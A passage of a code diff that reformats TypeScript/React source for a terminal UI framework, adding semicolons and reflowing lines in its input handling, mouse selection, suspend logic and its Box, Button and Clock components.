@@ -326,34 +295,34 @@ export default class App extends PureComponent<Props, State> {
// Both use the same stdin 'readable' + read() pattern, so they can't
// coexist -- the early capture handler would drain stdin before ours
// can see it. The buffered text is preserved for REPL.tsx via consumeEarlyInput().
defaultCallbacks.stopCapturingEarlyInput()
defaultCallbacks.stopCapturingEarlyInput();
// Safety net: remove any pre-existing readable listeners that aren't
// ours. In builds where setAppCallbacks() was never called, the early
// input capture's readableHandler remains attached and would consume
// all stdin data before our handleReadable sees it.
const existingListeners = stdin.listeners('readable')
const existingListeners = stdin.listeners('readable');
for (const listener of existingListeners) {
if (listener !== this.handleReadable) {
stdin.removeListener('readable', listener as any)
stdin.removeListener('readable', listener as any);
}
}
stdin.ref()
stdin.setRawMode(true)
stdin.addListener('readable', this.handleReadable)
stdin.ref();
stdin.setRawMode(true);
stdin.addListener('readable', this.handleReadable);
// Enable bracketed paste mode
this.props.stdout.write(EBP)
this.props.stdout.write(EBP);
// Enable terminal focus reporting (DECSET 1004)
this.props.stdout.write(EFE)
this.props.stdout.write(EFE);
// Enable extended key reporting so ctrl+shift+<letter> is
// distinguishable from ctrl+<letter>. We write both the kitty stack
// push (CSI >1u) and xterm modifyOtherKeys level 2 (CSI >4;2m) —
// terminals honor whichever they implement (tmux only accepts the
// latter).
if (supportsExtendedKeys()) {
this.props.stdout.write(ENABLE_KITTY_KEYBOARD)
this.props.stdout.write(ENABLE_MODIFY_OTHER_KEYS)
this.props.stdout.write(ENABLE_KITTY_KEYBOARD);
this.props.stdout.write(ENABLE_MODIFY_OTHER_KEYS);
}
// Probe terminal identity. XTVERSION survives SSH (query/reply goes
// through the pty), unlike TERM_PROGRAM. Used for wheel-scroll base
@@ -364,22 +333,19 @@ export default class App extends PureComponent<Props, State> {
// init sequence completes — avoids interleaving with alt-screen/mouse
// tracking enable writes that may happen in the same render cycle.
setImmediate(() => {
void Promise.all([
this.querier.send(xtversion()),
this.querier.flush(),
]).then(([r]) => {
void Promise.all([this.querier.send(xtversion()), this.querier.flush()]).then(([r]) => {
if (r) {
setXtversionName(r.name)
defaultCallbacks.logForDebugging(`XTVERSION: terminal identified as "${r.name}"`)
setXtversionName(r.name);
defaultCallbacks.logForDebugging(`XTVERSION: terminal identified as "${r.name}"`);
} else {
defaultCallbacks.logForDebugging('XTVERSION: no reply (terminal ignored query)')
defaultCallbacks.logForDebugging('XTVERSION: no reply (terminal ignored query)');
}
})
})
});
});
}
this.rawModeEnabledCount++
return
this.rawModeEnabledCount++;
return;
}
// Disable raw mode only when no components left that are using it
@@ -389,31 +355,31 @@ export default class App extends PureComponent<Props, State> {
// If the old tree had more useInput hooks than the new tree, the old
// cleanup over-decrements the count to 0 even though the new tree has
// active listeners. Detect this and fix the count instead of disabling.
const activeListeners = this.internal_eventEmitter.listenerCount('input')
const activeListeners = this.internal_eventEmitter.listenerCount('input');
if (activeListeners > 0) {
this.rawModeEnabledCount = activeListeners
return
this.rawModeEnabledCount = activeListeners;
return;
}
this.props.stdout.write(DISABLE_MODIFY_OTHER_KEYS)
this.props.stdout.write(DISABLE_KITTY_KEYBOARD)
this.props.stdout.write(DISABLE_MODIFY_OTHER_KEYS);
this.props.stdout.write(DISABLE_KITTY_KEYBOARD);
// Disable terminal focus reporting (DECSET 1004)
this.props.stdout.write(DFE)
this.props.stdout.write(DFE);
// Disable bracketed paste mode
this.props.stdout.write(DBP)
stdin.setRawMode(false)
stdin.removeListener('readable', this.handleReadable)
stdin.unref()
this.props.stdout.write(DBP);
stdin.setRawMode(false);
stdin.removeListener('readable', this.handleReadable);
stdin.unref();
}
}
};
// Helper to flush incomplete escape sequences
flushIncomplete = (): void => {
// Clear the timer reference
this.incompleteEscapeTimer = null
this.incompleteEscapeTimer = null;
// Only proceed if we have incomplete sequences
if (!this.keyParseState.incomplete) return
if (!this.keyParseState.incomplete) return;
// Fullscreen: if stdin has data waiting, it's almost certainly the
// continuation of the buffered sequence (e.g. `[<64;74;16M` after a
@@ -424,23 +390,20 @@ export default class App extends PureComponent<Props, State> {
// drain stdin next and clear this timer. Prevents both the spurious
// Escape key and the lost scroll event.
if (this.props.stdin.readableLength > 0) {
this.incompleteEscapeTimer = setTimeout(
this.flushIncomplete,
this.NORMAL_TIMEOUT,
)
return
this.incompleteEscapeTimer = setTimeout(this.flushIncomplete, this.NORMAL_TIMEOUT);
return;
}
// Process incomplete as a flush operation (input=null)
// This reuses all existing parsing logic
this.processInput(null)
}
this.processInput(null);
};
// Process input through the parser and handle the results
processInput = (input: string | Buffer | null): void => {
// Parse input using our state machine
const [keys, newState] = parseMultipleKeypresses(this.keyParseState, input)
this.keyParseState = newState
const [keys, newState] = parseMultipleKeypresses(this.keyParseState, input);
this.keyParseState = newState;
// Process ALL keys in a SINGLE discreteUpdates call to prevent
// "Maximum update depth exceeded" error when many keys arrive at once
@@ -448,106 +411,94 @@ export default class App extends PureComponent<Props, State> {
// This batches all state updates from handleInput and all useInput
// listeners together within one high-priority update context.
if (keys.length > 0) {
reconciler.discreteUpdates(
processKeysInBatch,
this,
keys,
undefined,
undefined,
)
reconciler.discreteUpdates(processKeysInBatch, this, keys, undefined, undefined);
}
// If we have incomplete escape sequences, set a timer to flush them
if (this.keyParseState.incomplete) {
// Cancel any existing timer first
if (this.incompleteEscapeTimer) {
clearTimeout(this.incompleteEscapeTimer)
clearTimeout(this.incompleteEscapeTimer);
}
this.incompleteEscapeTimer = setTimeout(
this.flushIncomplete,
this.keyParseState.mode === 'IN_PASTE'
? this.PASTE_TIMEOUT
: this.NORMAL_TIMEOUT,
)
this.keyParseState.mode === 'IN_PASTE' ? this.PASTE_TIMEOUT : this.NORMAL_TIMEOUT,
);
}
}
};
handleReadable = (): void => {
// Detect long stdin gaps (tmux attach, ssh reconnect, laptop wake).
// The terminal may have reset DEC private modes; re-assert mouse
// tracking. Checked before the read loop so one Date.now() covers
// all chunks in this readable event.
const now = Date.now()
const now = Date.now();
if (now - this.lastStdinTime > STDIN_RESUME_GAP_MS) {
this.props.onStdinResume?.()
this.props.onStdinResume?.();
}
this.lastStdinTime = now
this.lastStdinTime = now;
try {
let chunk
let chunk;
while ((chunk = this.props.stdin.read() as string | null) !== null) {
// Process the input chunk
this.processInput(chunk)
this.processInput(chunk);
}
} catch (error) {
// In Bun, an uncaught throw inside a stream 'readable' handler can
// permanently wedge the stream: data stays buffered and 'readable'
// never re-emits. Catching here ensures the stream stays healthy so
// subsequent keystrokes are still delivered.
defaultCallbacks.logError(error)
defaultCallbacks.logError(error);
// Re-attach the listener in case the exception detached it.
// Bun may remove the listener after an error; without this,
// the session freezes permanently (stdin reader dead, event loop alive).
const { stdin } = this.props
if (
this.rawModeEnabledCount > 0 &&
!stdin.listeners('readable').includes(this.handleReadable)
) {
defaultCallbacks.logForDebugging(
'handleReadable: re-attaching stdin readable listener after error recovery',
{ level: 'warn' },
)
stdin.addListener('readable', this.handleReadable)
const { stdin } = this.props;
if (this.rawModeEnabledCount > 0 && !stdin.listeners('readable').includes(this.handleReadable)) {
defaultCallbacks.logForDebugging('handleReadable: re-attaching stdin readable listener after error recovery', {
level: 'warn',
});
stdin.addListener('readable', this.handleReadable);
}
}
}
};
handleInput = (input: string | undefined): void => {
// Exit on Ctrl+C
if (input === '\x03' && this.props.exitOnCtrlC) {
this.handleExit()
this.handleExit();
}
// Note: Ctrl+Z (suspend) is now handled in processKeysInBatch using the
// parsed key to support both raw (\x1a) and CSI u format from Kitty
// keyboard protocol terminals (Ghostty, iTerm2, kitty, WezTerm)
}
};
handleExit = (error?: Error): void => {
if (this.isRawModeSupported()) {
this.handleSetRawMode(false)
this.handleSetRawMode(false);
}
this.props.onExit(error)
}
this.props.onExit(error);
};
handleTerminalFocus = (isFocused: boolean): void => {
// setTerminalFocused notifies subscribers: TerminalFocusProvider (context)
// and Clock (interval speed) — no App setState needed.
setTerminalFocused(isFocused)
}
setTerminalFocused(isFocused);
};
handleSuspend = (): void => {
if (!this.isRawModeSupported()) {
return
return;
}
// Store the exact raw mode count to restore it properly
const rawModeCountBeforeSuspend = this.rawModeEnabledCount
const rawModeCountBeforeSuspend = this.rawModeEnabledCount;
// Completely disable raw mode before suspending
while (this.rawModeEnabledCount > 0) {
this.handleSetRawMode(false)
this.handleSetRawMode(false);
}
// Show cursor, disable focus reporting, and disable mouse tracking
@@ -556,49 +507,44 @@ export default class App extends PureComponent<Props, State> {
// it, SGR mouse sequences would appear as garbled text at the
// shell prompt while suspended.
if (this.props.stdout.isTTY) {
this.props.stdout.write(SHOW_CURSOR + DFE + DISABLE_MOUSE_TRACKING)
this.props.stdout.write(SHOW_CURSOR + DFE + DISABLE_MOUSE_TRACKING);
}
// Emit suspend event for Claude Code to handle. Mostly just has a notification
this.internal_eventEmitter.emit('suspend')
this.internal_eventEmitter.emit('suspend');
// Set up resume handler
const resumeHandler = () => {
// Restore raw mode to exact previous state
for (let i = 0; i < rawModeCountBeforeSuspend; i++) {
if (this.isRawModeSupported()) {
this.handleSetRawMode(true)
this.handleSetRawMode(true);
}
}
// Hide cursor (unless in accessibility mode) and re-enable focus reporting after resuming
if (this.props.stdout.isTTY) {
if (!isEnvTruthy(process.env.CLAUDE_CODE_ACCESSIBILITY)) {
this.props.stdout.write(HIDE_CURSOR)
this.props.stdout.write(HIDE_CURSOR);
}
// Re-enable focus reporting to restore terminal state
this.props.stdout.write(EFE)
this.props.stdout.write(EFE);
}
// Emit resume event for Claude Code to handle
this.internal_eventEmitter.emit('resume')
this.internal_eventEmitter.emit('resume');
process.removeListener('SIGCONT', resumeHandler)
}
process.removeListener('SIGCONT', resumeHandler);
};
process.on('SIGCONT', resumeHandler)
process.kill(process.pid, 'SIGSTOP')
}
process.on('SIGCONT', resumeHandler);
process.kill(process.pid, 'SIGSTOP');
};
}
// Helper to process all keys within a single discrete update context.
// discreteUpdates expects (fn, a, b, c, d) -> fn(a, b, c, d)
function processKeysInBatch(
app: App,
items: ParsedInput[],
_unused1: undefined,
_unused2: undefined,
): void {
function processKeysInBatch(app: App, items: ParsedInput[], _unused1: undefined, _unused2: undefined): void {
// Update interaction time for notification timeout tracking.
// This is called from the central input handler to avoid having multiple
// stdin listeners that can cause race conditions and dropped input.
@@ -606,75 +552,70 @@ function processKeysInBatch(
// Mode-1003 no-button motion is also excluded — passive cursor drift is
// not engagement (would suppress idle notifications + defer housekeeping).
if (
items.some(
i =>
i.kind === 'key' ||
(i.kind === 'mouse' &&
!((i.button & 0x20) !== 0 && (i.button & 0x03) === 3)),
)
items.some(i => i.kind === 'key' || (i.kind === 'mouse' && !((i.button & 0x20) !== 0 && (i.button & 0x03) === 3)))
) {
defaultCallbacks.updateLastInteractionTime()
defaultCallbacks.updateLastInteractionTime();
}
for (const item of items) {
// Terminal responses (DECRPM, DA1, OSC replies, etc.) are not user
// input — route them to the querier to resolve pending promises.
if (item.kind === 'response') {
app.querier.onResponse(item.response)
continue
app.querier.onResponse(item.response);
continue;
}
// Mouse click/drag events update selection state (fullscreen only).
// Terminal sends 1-indexed col/row; convert to 0-indexed for the
// screen buffer. Button bit 0x20 = drag (motion while button held).
if (item.kind === 'mouse') {
handleMouseEvent(app, item)
continue
handleMouseEvent(app, item);
continue;
}
const sequence = item.sequence
const sequence = item.sequence;
// Handle terminal focus events (DECSET 1004)
if (sequence === FOCUS_IN) {
app.handleTerminalFocus(true)
const event = new TerminalFocusEvent('terminalfocus')
app.internal_eventEmitter.emit('terminalfocus', event)
continue
app.handleTerminalFocus(true);
const event = new TerminalFocusEvent('terminalfocus');
app.internal_eventEmitter.emit('terminalfocus', event);
continue;
}
if (sequence === FOCUS_OUT) {
app.handleTerminalFocus(false)
app.handleTerminalFocus(false);
// Defensive: if we lost the release event (mouse released outside
// terminal window — some emulators drop it rather than capturing the
// pointer), focus-out is the next observable signal that the drag is
// over. Without this, drag-to-scroll's timer runs until the scroll
// boundary is hit.
if (app.props.selection.isDragging) {
finishSelection(app.props.selection)
app.props.onSelectionChange()
finishSelection(app.props.selection);
app.props.onSelectionChange();
}
const event = new TerminalFocusEvent('terminalblur')
app.internal_eventEmitter.emit('terminalblur', event)
continue
const event = new TerminalFocusEvent('terminalblur');
app.internal_eventEmitter.emit('terminalblur', event);
continue;
}
// Failsafe: if we receive input, the terminal must be focused
if (!getTerminalFocused()) {
setTerminalFocused(true)
setTerminalFocused(true);
}
// Handle Ctrl+Z (suspend) using parsed key to support both raw (\x1a) and
// CSI u format (\x1b[122;5u) from Kitty keyboard protocol terminals
if (item.name === 'z' && item.ctrl && SUPPORTS_SUSPEND) {
app.handleSuspend()
continue
app.handleSuspend();
continue;
}
app.handleInput(sequence)
const event = new InputEvent(item)
app.internal_eventEmitter.emit('input', event)
app.handleInput(sequence);
const event = new InputEvent(item);
app.internal_eventEmitter.emit('input', event);
// Also dispatch through the DOM tree so onKeyDown handlers fire.
app.props.dispatchKeyboardEvent(item)
app.props.dispatchKeyboardEvent(item);
}
}
@@ -682,13 +623,13 @@ function processKeysInBatch(
export function handleMouseEvent(app: App, m: ParsedMouse): void {
// Allow disabling click handling while keeping wheel scroll (which goes
// through the keybinding system as 'wheelup'/'wheeldown', not here).
if (defaultCallbacks.isMouseClicksDisabled()) return
if (defaultCallbacks.isMouseClicksDisabled()) return;
const sel = app.props.selection
const sel = app.props.selection;
// Terminal coords are 1-indexed; screen buffer is 0-indexed
const col = m.col - 1
const row = m.row - 1
const baseButton = m.button & 0x03
const col = m.col - 1;
const row = m.row - 1;
const baseButton = m.button & 0x03;
if (m.action === 'press') {
if ((m.button & 0x20) !== 0 && baseButton === 3) {
@@ -702,25 +643,25 @@ export function handleMouseEvent(app: App, m: ParsedMouse): void {
// past the edge, came back" — and tmux drops focus events unless
// `focus-events on` is set, so this is the more reliable signal.
if (sel.isDragging) {
finishSelection(sel)
app.props.onSelectionChange()
finishSelection(sel);
app.props.onSelectionChange();
}
if (col === app.lastHoverCol && row === app.lastHoverRow) return
app.lastHoverCol = col
app.lastHoverRow = row
app.props.onHoverAt(col, row)
return
if (col === app.lastHoverCol && row === app.lastHoverRow) return;
app.lastHoverCol = col;
app.lastHoverRow = row;
app.props.onHoverAt(col, row);
return;
}
if (baseButton !== 0) {
// Non-left press breaks the multi-click chain.
app.clickCount = 0
return
app.clickCount = 0;
return;
}
if ((m.button & 0x20) !== 0) {
// Drag motion: mode-aware extension (char/word/line). onSelectionDrag
// calls notifySelectionChange internally — no extra onSelectionChange.
app.props.onSelectionDrag(col, row)
return
app.props.onSelectionDrag(col, row);
return;
}
// Lost-release fallback for mode-1002-only terminals: a fresh press
// while isDragging=true means the previous release was dropped (cursor
@@ -728,43 +669,43 @@ export function handleMouseEvent(app: App, m: ParsedMouse): void {
// before startSelection/onMultiClick clobbers it. Mode-1003 terminals
// hit the no-button-motion recovery above instead, so this is rare.
if (sel.isDragging) {
finishSelection(sel)
app.props.onSelectionChange()
finishSelection(sel);
app.props.onSelectionChange();
}
// Fresh left press. Detect multi-click HERE (not on release) so the
// word/line highlight appears immediately and a subsequent drag can
// extend by word/line like native macOS. Previously detected on
// release, which meant (a) visible latency before the word highlights
// and (b) double-click+drag fell through to char-mode selection.
const now = Date.now()
const now = Date.now();
const nearLast =
now - app.lastClickTime < MULTI_CLICK_TIMEOUT_MS &&
Math.abs(col - app.lastClickCol) <= MULTI_CLICK_DISTANCE &&
Math.abs(row - app.lastClickRow) <= MULTI_CLICK_DISTANCE
app.clickCount = nearLast ? app.clickCount + 1 : 1
app.lastClickTime = now
app.lastClickCol = col
app.lastClickRow = row
Math.abs(row - app.lastClickRow) <= MULTI_CLICK_DISTANCE;
app.clickCount = nearLast ? app.clickCount + 1 : 1;
app.lastClickTime = now;
app.lastClickCol = col;
app.lastClickRow = row;
if (app.clickCount >= 2) {
// Cancel any pending hyperlink-open from the first click — this is
// a double-click, not a single-click on a link.
if (app.pendingHyperlinkTimer) {
clearTimeout(app.pendingHyperlinkTimer)
app.pendingHyperlinkTimer = null
clearTimeout(app.pendingHyperlinkTimer);
app.pendingHyperlinkTimer = null;
}
// Cap at 3 (line select) for quadruple+ clicks.
const count = app.clickCount === 2 ? 2 : 3
app.props.onMultiClick(col, row, count)
return
const count = app.clickCount === 2 ? 2 : 3;
app.props.onMultiClick(col, row, count);
return;
}
startSelection(sel, col, row)
startSelection(sel, col, row);
// SGR bit 0x08 = alt (xterm.js wires altKey here, not metaKey — see
// comment at the hyperlink-open guard below). On macOS xterm.js,
// receiving alt means macOptionClickForcesSelection is OFF (otherwise
// xterm.js would have consumed the event for native selection).
sel.lastPressHadAlt = (m.button & 0x08) !== 0
app.props.onSelectionChange()
return
sel.lastPressHadAlt = (m.button & 0x08) !== 0;
app.props.onSelectionChange();
return;
}
// Release: end the drag even for non-zero button codes. Some terminals
@@ -774,12 +715,12 @@ export function handleMouseEvent(app: App, m: ParsedMouse): void {
// scroll boundary. Only act on non-left releases when we ARE dragging
// (so an unrelated middle/right click-release doesn't touch selection).
if (baseButton !== 0) {
if (!sel.isDragging) return
finishSelection(sel)
app.props.onSelectionChange()
return
if (!sel.isDragging) return;
finishSelection(sel);
app.props.onSelectionChange();
return;
}
finishSelection(sel)
finishSelection(sel);
// NOTE: unlike the old release-based detection we do NOT reset clickCount
// on release-after-drag. This aligns with NSEvent.clickCount semantics:
// an intervening drag doesn't break the click chain. Practical upside:
@@ -800,7 +741,7 @@ export function handleMouseEvent(app: App, m: ParsedMouse): void {
// Resolve the hyperlink URL synchronously while the screen buffer
// still reflects what the user clicked — deferring only the
// browser-open so double-click can cancel it.
const url = app.props.getHyperlinkAt(col, row)
const url = app.props.getHyperlinkAt(col, row);
// xterm.js (VS Code, Cursor, Windsurf, etc.) has its own OSC 8 link
// handler that fires on Cmd+click *without consuming the mouse event*
// (Linkifier._handleMouseUp calls link.activate() but never
@@ -816,19 +757,19 @@ export function handleMouseEvent(app: App, m: ParsedMouse): void {
// Clear any prior pending timer — clicking a second link
// supersedes the first (only the latest click opens).
if (app.pendingHyperlinkTimer) {
clearTimeout(app.pendingHyperlinkTimer)
clearTimeout(app.pendingHyperlinkTimer);
}
app.pendingHyperlinkTimer = setTimeout(
(app, url) => {
app.pendingHyperlinkTimer = null
app.props.onOpenHyperlink(url)
app.pendingHyperlinkTimer = null;
app.props.onOpenHyperlink(url);
},
MULTI_CLICK_TIMEOUT_MS,
app,
url,
)
);
}
}
}
app.props.onSelectionChange()
app.props.onSelectionChange();
}

View File

@@ -1,48 +1,48 @@
import React, { type PropsWithChildren, type Ref } from 'react'
import type { Except } from 'type-fest'
import type { DOMElement } from '../core/dom.js'
import type { ClickEvent } from '../core/events/click-event.js'
import type { FocusEvent } from '../core/events/focus-event.js'
import type { KeyboardEvent } from '../core/events/keyboard-event.js'
import type { Styles } from '../core/styles.js'
import * as warn from '../core/warn.js'
import React, { type PropsWithChildren, type Ref } from 'react';
import type { Except } from 'type-fest';
import type { DOMElement } from '../core/dom.js';
import type { ClickEvent } from '../core/events/click-event.js';
import type { FocusEvent } from '../core/events/focus-event.js';
import type { KeyboardEvent } from '../core/events/keyboard-event.js';
import type { Styles } from '../core/styles.js';
import * as warn from '../core/warn.js';
export type Props = Except<Styles, 'textWrap'> & {
ref?: Ref<DOMElement>
ref?: Ref<DOMElement>;
/**
* Tab order index. Nodes with `tabIndex >= 0` participate in
* Tab/Shift+Tab cycling; `-1` means programmatically focusable only.
*/
tabIndex?: number
tabIndex?: number;
/**
* Focus this element when it mounts. Like the HTML `autofocus`
* attribute — the FocusManager calls `focus(node)` during the
* reconciler's `commitMount` phase.
*/
autoFocus?: boolean
autoFocus?: boolean;
/**
* Fired on left-button click (press + release without drag). Only works
* inside `<AlternateScreen>` where mouse tracking is enabled — no-op
* otherwise. The event bubbles from the deepest hit Box up through
* ancestors; call `event.stopImmediatePropagation()` to stop bubbling.
*/
onClick?: (event: ClickEvent) => void
onFocus?: (event: FocusEvent) => void
onFocusCapture?: (event: FocusEvent) => void
onBlur?: (event: FocusEvent) => void
onBlurCapture?: (event: FocusEvent) => void
onKeyDown?: (event: KeyboardEvent) => void
onKeyDownCapture?: (event: KeyboardEvent) => void
onClick?: (event: ClickEvent) => void;
onFocus?: (event: FocusEvent) => void;
onFocusCapture?: (event: FocusEvent) => void;
onBlur?: (event: FocusEvent) => void;
onBlurCapture?: (event: FocusEvent) => void;
onKeyDown?: (event: KeyboardEvent) => void;
onKeyDownCapture?: (event: KeyboardEvent) => void;
/**
* Fired when the mouse moves into this Box's rendered rect. Like DOM
* `mouseenter`, does NOT bubble — moving between children does not
* re-fire on the parent. Only works inside `<AlternateScreen>` where
* mode-1003 mouse tracking is enabled.
*/
onMouseEnter?: () => void
onMouseEnter?: () => void;
/** Fired when the mouse moves out of this Box's rendered rect. */
onMouseLeave?: () => void
}
onMouseLeave?: () => void;
};
/**
* `<Box>` is an essential Ink component to build your layout. It's like `<div style="display: flex">` in the browser.
@@ -68,23 +68,23 @@ function Box({
...style
}: PropsWithChildren<Props>): React.ReactNode {
// Warn if spacing values are not integers to prevent fractional layout dimensions
warn.ifNotInteger(style.margin, 'margin')
warn.ifNotInteger(style.marginX, 'marginX')
warn.ifNotInteger(style.marginY, 'marginY')
warn.ifNotInteger(style.marginTop, 'marginTop')
warn.ifNotInteger(style.marginBottom, 'marginBottom')
warn.ifNotInteger(style.marginLeft, 'marginLeft')
warn.ifNotInteger(style.marginRight, 'marginRight')
warn.ifNotInteger(style.padding, 'padding')
warn.ifNotInteger(style.paddingX, 'paddingX')
warn.ifNotInteger(style.paddingY, 'paddingY')
warn.ifNotInteger(style.paddingTop, 'paddingTop')
warn.ifNotInteger(style.paddingBottom, 'paddingBottom')
warn.ifNotInteger(style.paddingLeft, 'paddingLeft')
warn.ifNotInteger(style.paddingRight, 'paddingRight')
warn.ifNotInteger(style.gap, 'gap')
warn.ifNotInteger(style.columnGap, 'columnGap')
warn.ifNotInteger(style.rowGap, 'rowGap')
warn.ifNotInteger(style.margin, 'margin');
warn.ifNotInteger(style.marginX, 'marginX');
warn.ifNotInteger(style.marginY, 'marginY');
warn.ifNotInteger(style.marginTop, 'marginTop');
warn.ifNotInteger(style.marginBottom, 'marginBottom');
warn.ifNotInteger(style.marginLeft, 'marginLeft');
warn.ifNotInteger(style.marginRight, 'marginRight');
warn.ifNotInteger(style.padding, 'padding');
warn.ifNotInteger(style.paddingX, 'paddingX');
warn.ifNotInteger(style.paddingY, 'paddingY');
warn.ifNotInteger(style.paddingTop, 'paddingTop');
warn.ifNotInteger(style.paddingBottom, 'paddingBottom');
warn.ifNotInteger(style.paddingLeft, 'paddingLeft');
warn.ifNotInteger(style.paddingRight, 'paddingRight');
warn.ifNotInteger(style.gap, 'gap');
warn.ifNotInteger(style.columnGap, 'columnGap');
warn.ifNotInteger(style.rowGap, 'rowGap');
return (
<ink-box
@@ -112,7 +112,7 @@ function Box({
>
{children}
</ink-box>
)
);
}
export default Box
export default Box;

View File

@@ -1,39 +1,33 @@
import React, {
type Ref,
useCallback,
useEffect,
useRef,
useState,
} from 'react'
import type { Except } from 'type-fest'
import type { DOMElement } from '../core/dom.js'
import type { ClickEvent } from '../core/events/click-event.js'
import type { FocusEvent } from '../core/events/focus-event.js'
import type { KeyboardEvent } from '../core/events/keyboard-event.js'
import type { Styles } from '../core/styles.js'
import Box from './Box.js'
import React, { type Ref, useCallback, useEffect, useRef, useState } from 'react';
import type { Except } from 'type-fest';
import type { DOMElement } from '../core/dom.js';
import type { ClickEvent } from '../core/events/click-event.js';
import type { FocusEvent } from '../core/events/focus-event.js';
import type { KeyboardEvent } from '../core/events/keyboard-event.js';
import type { Styles } from '../core/styles.js';
import Box from './Box.js';
type ButtonState = {
focused: boolean
hovered: boolean
active: boolean
}
focused: boolean;
hovered: boolean;
active: boolean;
};
export type Props = Except<Styles, 'textWrap'> & {
ref?: Ref<DOMElement>
ref?: Ref<DOMElement>;
/**
* Called when the button is activated via Enter, Space, or click.
*/
onAction: () => void
onAction: () => void;
/**
* Tab order index. Defaults to 0 (in tab order).
* Set to -1 for programmatically focusable only.
*/
tabIndex?: number
tabIndex?: number;
/**
* Focus this button when it mounts.
*/
autoFocus?: boolean
autoFocus?: boolean;
/**
* Render prop receiving the interactive state. Use this to
* style children based on focus/hover/active — Button itself
@@ -41,64 +35,53 @@ export type Props = Except<Styles, 'textWrap'> & {
*
* If not provided, children render as-is (no state-dependent styling).
*/
children: ((state: ButtonState) => React.ReactNode) | React.ReactNode
}
children: ((state: ButtonState) => React.ReactNode) | React.ReactNode;
};
function Button({
onAction,
tabIndex = 0,
autoFocus,
children,
ref,
...style
}: Props): React.ReactNode {
const [isFocused, setIsFocused] = useState(false)
const [isHovered, setIsHovered] = useState(false)
const [isActive, setIsActive] = useState(false)
function Button({ onAction, tabIndex = 0, autoFocus, children, ref, ...style }: Props): React.ReactNode {
const [isFocused, setIsFocused] = useState(false);
const [isHovered, setIsHovered] = useState(false);
const [isActive, setIsActive] = useState(false);
const activeTimer = useRef<ReturnType<typeof setTimeout> | null>(null)
const activeTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
useEffect(() => {
return () => {
if (activeTimer.current) clearTimeout(activeTimer.current)
}
}, [])
if (activeTimer.current) clearTimeout(activeTimer.current);
};
}, []);
const handleKeyDown = useCallback(
(e: KeyboardEvent) => {
if (e.key === 'return' || e.key === ' ') {
e.preventDefault()
setIsActive(true)
onAction()
if (activeTimer.current) clearTimeout(activeTimer.current)
activeTimer.current = setTimeout(
setter => setter(false),
100,
setIsActive,
)
e.preventDefault();
setIsActive(true);
onAction();
if (activeTimer.current) clearTimeout(activeTimer.current);
activeTimer.current = setTimeout(setter => setter(false), 100, setIsActive);
}
},
[onAction],
)
);
const handleClick = useCallback(
(_e: ClickEvent) => {
onAction()
onAction();
},
[onAction],
)
);
const handleFocus = useCallback((_e: FocusEvent) => setIsFocused(true), [])
const handleBlur = useCallback((_e: FocusEvent) => setIsFocused(false), [])
const handleMouseEnter = useCallback(() => setIsHovered(true), [])
const handleMouseLeave = useCallback(() => setIsHovered(false), [])
const handleFocus = useCallback((_e: FocusEvent) => setIsFocused(true), []);
const handleBlur = useCallback((_e: FocusEvent) => setIsFocused(false), []);
const handleMouseEnter = useCallback(() => setIsHovered(true), []);
const handleMouseLeave = useCallback(() => setIsHovered(false), []);
const state: ButtonState = {
focused: isFocused,
hovered: isHovered,
active: isActive,
}
const content = typeof children === 'function' ? children(state) : children
};
const content = typeof children === 'function' ? children(state) : children;
return (
<Box
@@ -115,8 +98,8 @@ function Button({
>
{content}
</Box>
)
);
}
export default Button
export type { ButtonState }
export default Button;
export type { ButtonState };

View File

@@ -1,99 +1,93 @@
import React, { createContext, useEffect, useState } from 'react'
import { FRAME_INTERVAL_MS } from '../core/constants.js'
import { useTerminalFocus } from '../hooks/use-terminal-focus.js'
import React, { createContext, useEffect, useState } from 'react';
import { FRAME_INTERVAL_MS } from '../core/constants.js';
import { useTerminalFocus } from '../hooks/use-terminal-focus.js';
export type Clock = {
subscribe: (onChange: () => void, keepAlive: boolean) => () => void
now: () => number
setTickInterval: (ms: number) => void
}
subscribe: (onChange: () => void, keepAlive: boolean) => () => void;
now: () => number;
setTickInterval: (ms: number) => void;
};
export function createClock(tickIntervalMs: number): Clock {
const subscribers = new Map<() => void, boolean>()
let interval: ReturnType<typeof setInterval> | null = null
let currentTickIntervalMs = tickIntervalMs
let startTime = 0
const subscribers = new Map<() => void, boolean>();
let interval: ReturnType<typeof setInterval> | null = null;
let currentTickIntervalMs = tickIntervalMs;
let startTime = 0;
// Snapshot of the current tick's time, ensuring all subscribers in the same
// tick see the same value (keeps animations synchronized)
let tickTime = 0
let tickTime = 0;
function tick(): void {
tickTime = Date.now() - startTime
tickTime = Date.now() - startTime;
for (const onChange of subscribers.keys()) {
onChange()
onChange();
}
}
function updateInterval(): void {
const anyKeepAlive = [...subscribers.values()].some(Boolean)
const anyKeepAlive = [...subscribers.values()].some(Boolean);
if (anyKeepAlive) {
if (interval) {
clearInterval(interval)
interval = null
clearInterval(interval);
interval = null;
}
if (startTime === 0) {
startTime = Date.now()
startTime = Date.now();
}
interval = setInterval(tick, currentTickIntervalMs)
interval = setInterval(tick, currentTickIntervalMs);
} else if (interval) {
clearInterval(interval)
interval = null
clearInterval(interval);
interval = null;
}
}
return {
subscribe(onChange, keepAlive) {
subscribers.set(onChange, keepAlive)
updateInterval()
subscribers.set(onChange, keepAlive);
updateInterval();
return () => {
subscribers.delete(onChange)
updateInterval()
}
subscribers.delete(onChange);
updateInterval();
};
},
now() {
if (startTime === 0) {
startTime = Date.now()
startTime = Date.now();
}
// When the clock interval is running, return the synchronized tickTime
// so all subscribers in the same tick see the same value.
// When paused (no keepAlive subscribers), return real-time to avoid
// returning a stale tickTime from the last tick before the pause.
if (interval && tickTime) {
return tickTime
return tickTime;
}
return Date.now() - startTime
return Date.now() - startTime;
},
setTickInterval(ms) {
if (ms === currentTickIntervalMs) return
currentTickIntervalMs = ms
updateInterval()
if (ms === currentTickIntervalMs) return;
currentTickIntervalMs = ms;
updateInterval();
},
}
};
}
export const ClockContext = createContext<Clock | null>(null)
export const ClockContext = createContext<Clock | null>(null);
const BLURRED_TICK_INTERVAL_MS = FRAME_INTERVAL_MS * 2
const BLURRED_TICK_INTERVAL_MS = FRAME_INTERVAL_MS * 2;
// Own component so App.tsx doesn't re-render when the clock is created.
// The clock value is stable (created once via useState), so the provider
// never causes consumer re-renders on its own.
export function ClockProvider({
children,
}: {
children: React.ReactNode
}): React.ReactNode {
const [clock] = useState(() => createClock(FRAME_INTERVAL_MS))
const focused = useTerminalFocus()
export function ClockProvider({ children }: { children: React.ReactNode }): React.ReactNode {
const [clock] = useState(() => createClock(FRAME_INTERVAL_MS));
const focused = useTerminalFocus();
